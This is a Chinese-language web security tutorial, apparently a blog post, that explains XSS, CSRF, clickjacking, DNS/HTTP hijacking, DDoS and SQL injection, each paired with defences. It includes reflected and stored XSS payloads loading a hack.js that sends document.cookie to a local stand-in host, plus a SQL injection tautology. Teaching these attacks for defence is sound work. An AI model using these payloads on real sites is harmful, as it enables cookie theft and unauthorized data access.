前端常见的XSS / CSRF

177 阅读6分钟

XSS(Cross-site script) 跨站脚本攻击

产生的漏洞使得别人的脚本可以在自己网站运行,比如运行html标签或者javascript

产生的问题

  1. 可能会导致利用脚本来窃取用户cookie的值,然后发送恶意请求
  2. 显示伪造的文章或者页面等,执行恶意的JavaScript代码
  • 反射型

    依赖于用户点击了这个恶意链接,比如在url 参数中直接注入脚本

    例如用户登陆访问了A网站后, 假设A网站存在漏洞,然后攻击者给用户发了一个恶意链接,当用户点击了这个恶意链接后, 则被攻击。泄露自己的cookie

    // 例如: A网站有一个接口是在url上带参数然后去获取数据
    A网站地址: http://localhost:3000/?name="张三"
    攻击者将恶意链接伪装成这样
    http://localhost:3000/?name=<script src="http://localhost:8000/hack.js" ></script>
    // 这里的网址看起来可能比较奇怪,一般为了诱导用户点击,会进行一次短域名转换,即利用短域名服务,将其转为看起来比较正常的网址
    
    // hack.js
    const img = new Image()
    img.src = "htttp://localhost:8000/img?c=" + doucment.cookie
    
    
  • 存储型

    攻击者将恶意代码提交到服务器,当用户浏览这个网页的时候,就会执行次恶意代码,一般常见论坛发帖,评论等

​ 例如,网站有一个评论功能,当攻击者在评论的时候,注入恶意内容后,提交评论后存储,则后面每一个用户登陆的时候,都会执行被注入的脚本,然后被攻击

// A网站有一个评论功能,用户登陆后可以进行评论,也可以看到别人的评论

当攻击者评论的时候,将评论写成如下方式,
来了,老弟~<script src="http://localhost:8000/hack.js"></script>
// 这样该评论会被存在服务器,下次只要有用户登陆,就会执行hack.js,则hack.js里面就会做一些攻击操作

防御手段

  1. 对cookie设置httpOnly字段,禁止访问cookie.

    response.addHeader("Set-Cookie", "uid=123456; path=/; HttpOnly")
    
  2. 不要信任用户输入的任何东西,比如对用户输入的引号。尖括号,斜杠等进行转译。或者利用ejs来对字符串进行转译。但是有的时候,在富文本编辑的时候,常常不需要转译,则可以利用白名单的方式(CSP),或者利用xss库来做防御

    const xss = require('xss')
    
  3. CSP(内容安全策略)

    是一个附加的安全层,可以帮组检测某些类型的攻击,如跨站脚本和数据注入等,本质上就是建立白名单,告诉浏览器哪些外部资源可以进行执行和加载

    // 只允许加载本站资源
    Content-Security-Policy: defalut-src 'self'
    // 只允许加载https 协议图片
    Content-Security-Policy: img-src https://*
    // 不允许加载任何来源框架
    Content-Security-Policy: child-src 'none'
    

CSRF(Cross Site Request Forgery) 跨站请求伪造

利用用户已经登陆的身份,借助cookie绕过后台用户验证,以用户的名义完成非法操作

产生的问题

  1. 利用用户登陆态在用户不知情下完成业务请求
  2. 盗取用户资金 转账消费等

一般流程:

例如,用户登陆了A网站,然后该网站保留了登陆凭证cookie, 如果A网站没有做csrf 防御,当用户的cookie 还在生效的时候,攻击者诱导用户访问B网站, 然后B网站就会向A网站发送一个正常请求(比如转账等危险请求),这时候。浏览器就会默认携带上A网站下的cookie, 然后服务器误以为这是用户自己发的请求,完蛋,中招!

CSRF 两个特点。一个是 攻击者并不能获取cookie信息,只是利用cookie 发送危险请求,还有一个特别就是,这个请求一般都发生在第三方,不是同一个域名

防御手段

  • 通过验证码,对高危操作进行验证

  • 通过 Request Headers 中的 origin / referer 来进行判断是不是网站自己的请求

    origin: 记录了请求来自哪一个站点,只有服务器名,没有路径信息

    referer: 不仅包含服务器名,还有详细路径信息

  • 通过添加一个攻击者无法获取的token,在请求的时候直接携带,然后服务器进行token验证,这样就攻击者就无法进行伪造发送请求

  • 添加cookie 的 SameSite 字段

    分为三种值,默认为none, 目前大多数浏览器在将默认值none 改为Lax模式

    None: 浏览器会在同站请求和跨站请求下都发送cookie

    Lax: 与strict 大致一样,但是,他允许从其他站点链接到(link)ulr的时候也可发送cookie

    Strict: 只可以在相同站点的时候才可以发送cookie

点击劫持

点击劫持是一种视觉欺骗攻击手段,攻击者将需要攻击的网站通过iframe 嵌入到自己的网页中,然后将iframe设置为透明,在页面中透出一个按钮诱导用户点击

防御手段

  • 利用X-FRAME-OPTIONS 来进行设置, 是一个HTTP响应头, 防止使用iframe 嵌套点击劫持攻击

    DENY: 页面不允许通过iframe 方式展示

    SAMEORIGIN: 页面可以在相同域名下通过iframe 方式展示

    ALLOW-FROM : 页面可以在指定来源的iframe 中展示

  • 利用js

    if (self === top) { // self 是当前窗口相当于window, top 返回顶层窗口,即浏览器窗口
      // xxxx
    } else {
    	top.location = self.location
    }
    

请求劫持

  • DNS 劫持(DNS 服务器解析的步骤被篡改,修改了域名解析结构,使得获取的ip地址并不是真实的ip地址)
  • HTTP 劫持

防御手段

升级HTTPS 可以很好的防止HTTP和DNS 劫持,因为https 安全是由SSL来保证的,需要对的证书,链接才会成立,如果DNS 解析的域名没有对应ip,是没有办法通过证书认证的。连接就会被终止。

DDOS

DDOS其实是一大类攻击的总称,目的就是为了让网站跑不起来,使得服务瘫痪

常见攻击手段:

​ 通过向目标服务建立大量TCP链接,使得服务拒绝

防御手段

  • 设置白名单
  • 带宽进行扩容 添加 CDN 服务

SQL注入

其实就是在请求数据库的时候,将用户输入的直接放到了数据库查询语句中,导致查询语句实际上已经被转换

// 将密码设置为 '1' or '1' = '1'
Select * from test.user where usename = 'lala' and password = '1' or '1' = '1'

防御手段

​ 将数据库的查询语句使用数据库提供的参数化查询接口,而不是将用户输入的变量直接嵌入到sql 语句中